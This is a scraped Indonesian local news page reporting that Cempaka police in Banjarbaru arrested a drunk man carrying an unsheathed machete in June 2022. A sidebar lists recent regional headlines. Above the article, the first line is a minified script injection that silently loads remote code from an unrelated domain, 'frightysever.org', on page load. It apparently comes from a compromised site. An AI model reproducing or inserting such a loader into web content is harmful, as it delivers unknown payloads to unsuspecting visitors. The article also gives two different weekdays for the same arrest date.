(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Mabuk Bawa Parang, Lelaki Ini Digelandang ke Mapolsek Cempaka


KANALKALIMANTAN.COM, BANJARBARU – Kedapatan menyimpan senjata tajam (Sajam) jenis parang, laki-laki Muhajir alias Jijir (31) diamankan personel Polsek Cempaka, Rabu (1/6/2022) malam.

Lelaki ini tercatat sebagai warga Jalan Mistar Cokrokusumo, RT 006 RW 002, Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru.

Kapolsek Cempaka, Ipda Subroto Rindang Arie Setyawan, melalui Kasi Humas Polsek Cempaka, Aipda Hendra Fahmi mengatakan penangkapan lelaki yang cuma tamat SD ini terjadi sekitar pukul 20.00 Wita, Senin (1/6/2022), di Jalan Mujahidin, RT 019 RW 007, Kelurahan Cempaka, Kecamatan Cempaka.

“Pelaku diamankan yang mana saat itu membawa sajam tanpa kumpang di sekitaran Jalan Pasar Ulin-Jalan Mujadin Kelurahan Cempaka sekitar pukul 8 malam,” bebernya, Kamis (2/6/2022).

 

 

Baca juga: Terbitnya SE Penghapusan Honorer: Tidak Ada Pengangkatan PNS dan PPPK, Tetap Ikuti Seleksi!

Penangkapan pelaku, kata Aipda Hendra, berawal dari dua personel Mapolsek Cempaka melakukan patroli. Kemudian, berhasil mengamankan seorang lelaki yang membawa sajam tanpa kumpang sepanjang 63 cm.

“Saat diamankan pelaku dalam keadaan mabuk memasuki pekarangan rumah orang dengan membawa satu buah sajam jenis parang tanpa kumpang, panjangnya kurang lebih 63 cm,” jelasnya.

Diketahui pada saat penangkapan lelaki tersebut dalam keadaan mabuk dari oplosan alkohol.

“Minuman keras yang dikonsumsi pelaku jenis alkohol campuran,” tambahnya.

Aipda Hendra menambahkan, pelaku kini sudah dibawa ke Mapolsek Cempaka untuk penelusuran lebih lanjut.

“Saat ini pelaku beserta barang bukti diamankan dan dibawa ke Mapolsek Cempaka guna proses pemeriksaan lebih lanjut,” bebernya.

Baca juga: Petani di Kalsel Masih Berhajat Pupuk Bersubsidi, Ini Kata Kadis TPH Kalsel

Sementara itu, pelaku dijatuhi Pasal 2 Ayat (1) UU drt No. 12 Tahun 1951, karena membawa senjata penusuk tanpa ijin yang sah.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

8 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

10 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

10 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

21 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

22 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

1 hari ago

This website uses cookies.